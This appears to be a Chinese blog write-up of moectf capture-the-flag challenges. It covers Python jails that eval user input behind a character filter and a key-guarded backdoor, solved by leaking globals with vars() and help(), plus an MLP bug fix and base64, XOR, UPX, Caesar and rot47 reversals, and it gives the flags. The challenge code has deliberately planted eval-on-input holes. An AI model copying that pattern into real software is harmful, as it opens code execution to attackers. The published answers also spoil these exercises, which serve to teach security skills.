fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat" print("Hey Guys,Welcome to the moeleak challenge.Have fun!.") def func_filter(s): not_allowed = set('moe_dbt') return any(c in not_allowed for c in s) print("| Options: | [V]uln | [B]ackdoor") while(1): challenge_choice = input(">>> ").lower().strip() if challenge_choice == 'v': code = input("code >> ") if(len(code)>6): print("you're hacker!") exit(0) if func_filter(code): print("Oh hacker! byte~") exit(0) print(eval(code)) elif challenge_choice == 'b': print("Please enter the admin key") key = input("key >> ") if(key == fake_key_into_local_but_vailed_key_into_remote): print("Hey Admin,please input your code:") code = input("backdoor >> ") print(eval(code)) else: print("You should select valid choice!")
这里还是需要看全局变量,找key
想到的就是help()、globals()、dir()
可以看到上面不是长度太长,就是被过滤了字符
找gpt问问,查全局变量的函数
问到一个vars(),符合条件,拿到key
leak level 2
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat" print("Hey Guys,Welcome to the moeleak challenge.Have fun!.") print("| Options: | [V]uln | [B]ackdoor") def func_filter(s): not_allowed = set('dbtaaaaaaaaa!') return any(c in not_allowed for c in s) while(1): challenge_choice = input(">>> ").lower().strip() if challenge_choice == 'v': print("you need to ") code = input("code >> ") if(len(code)>6): print("you're hacker!") exit(0) if func_filter(code): print("Oh hacker! byte~") exit(0) if not code.isascii(): print("please use ascii only thanks!") exit(0) print(eval(code)) elif challenge_choice == 'b': print("Please enter the admin key") key = input("key >> ") if(key == fake_key_into_local_but_vailed_key_into_remote): print("Hey Admin,please input your code:") code = input("backdoor> ") print(eval(code)) else: print("You should select valid choice!")
思路还是找全局变量,一看这里的过滤,可以用help()
help()进入,查__main__查看当前文件,找到Key
moectf{install_torch_torchvision_torchaudio}
AI
EZ MLP
import numpy as np def fc(x, weight, bias): return np.matmul(weight, x) + bias def forward(x): z1 = fc(x, w1, b1) z2 = fc(z1, w2, b2) y = fc(z2, w3, b3) return y w1 = np.load('npys/w1.npy') b1 = np.load('npys/b1.npy') w2 = np.load('npys/w2.npy') b2 = np.load('npys/b2.npy') w3 = np.load('npys/w3.npy') b3 = np.load('npys/b3.npy') float2chr = lambda f: chr(int(np.round((f + 1) * 255 / 2))) inputs = np.load('npys/inputs.npy') flag = '' for i in range(len(inputs)): y = forward(inputs[i]) c0 = float2chr(y[0, 0]) c1 = float2chr(y[1, 0]) flag += c0 + c1 print('moectf{' + flag + '}') # Hints: # > Fix the bug in the code to get the flag, only one line of code needs to be changed. # > Understand the code and the figure(Example.jpg) before flag submission. # > Example.jpg is only for tutorial and demonstration, no hidden information contained.
根据提示,需要改一行代码,让程序运行得到flag
先不改运行看报错,报错大概意思就是矩阵相乘的行列不匹配
np.matmul这个函数进行矩阵相乘
(n,m)(m,x)=(n,x)
前列数要等于后行数
把给的npy文件加载出来看看长什么样
import numpy as np x = np.load('./inputs.npy') print(x[0]) w1 = np.load('./w1.npy') b1 = np.load('./b1.npy') w2 = np.load('./w2.npy') b2 = np.load('./b2.npy') w3 = np.load('./w3.npy') b3 = np.load('./b3.npy') print(b1) print(w1)
知道是fc这个函数出了问题
inputs(i)这里给的矩阵是(4,1),而权重w1这样的是(4,4)
看到fc函数
def fc(x, weight, bias): return np.matmul(x, weight) + bias
x矩阵是一个(4,1)
weight是一个(4,4)
所以weight和x调换位置
def fc(x, weight, bias): return np.matmul(weight, x) + bias
其实就是一个矩阵乘法的一个规则
RE
base64
反编译所得pyc文件
#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.7 import base64 from string import * str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0=' string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/' string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' flag = input('welcome to moectf\ninput your flag and I wiil check it:') enc_flag = base64.b64encode(flag.encode()).decode() enc_flag = enc_flag.translate(str.maketrans(string2, string1)) if enc_flag == str1: print('good job!!!!') else: print('something wrong???') exit(0)
也就是把flagbase64加密再通过上述映射表替换后就是str1
那只需要把str1反过来映射替换,再base64解密就得到flag
import base64 from string import * str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0=' string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/' string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' enc_flag = str1.translate(str.maketrans(string1, string2)) flag = base64.b64decode(enc_flag.encode()).decode() print(flag)
xor
ida打开 f15看反编译
看到^了一个0x39也就是57
提示xor特性a^b=c c^a=b
所以找到enc,再遍历它异或57就得到输入的flag
"""54, 56, 5C, 5A, 4D, 5F, 42, 60, 56, 4C, 66, 52, 57, 09, 4E, 66, 51, 09, 4E, 66, 4D, 09, 66, 61, 09, 6B, 18, 44""" str = "TV\ZM_B`VLfRW.Nf"\ "Q.NfM.fa.k.D...." flag = "" for i in str: flag+=chr(ord(i)^57) print(flag) 不知道为什么会有只可读字符出现
#这样是可以的 str = [0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C, 0x66,0x52, 0x57, 0x9, 0x4E, 0x66, 0x51, 0x9, 0x4E, 0x66, 0x4D, 0x9, 0x66,0x61, 0x9, 0x6B, 0x18, 0x44] flag = "" for i in str: h = i^0x39 flag+=chr(h) print(flag)
upx
先脱壳,然后查找flag字符串,找到主函数
然后就是和xor一样的方式异或得flag
data = [0x0A, 8, 2, 4, 0x13, 1, 0x1C, 0x57, 0x0F, 0x38, 0x1E, 0x57,0x12, 0x38, 0x2C, 9, 0x57, 0x10, 0x38, 0x2F, 0x57, 0x10, 0x38,0x13, 8, 0x38, 0x35, 2, 0x11, 0x54, 0x15, 0x14, 2, 0x38, 0x32,0x37, 0x3F, 0x46,0x46, 0x46, 0x1A, 0,0,0,0,0] for h in range(18): data.append(0) print(data) flag = "" for i in data: h = i^0x67 flag+=chr(h) print(flag)
crypto
皇帝的新密码
tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}
t->m
位移7,凯撒密码解密
ezrot
rot47解密,加个m在最前面
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)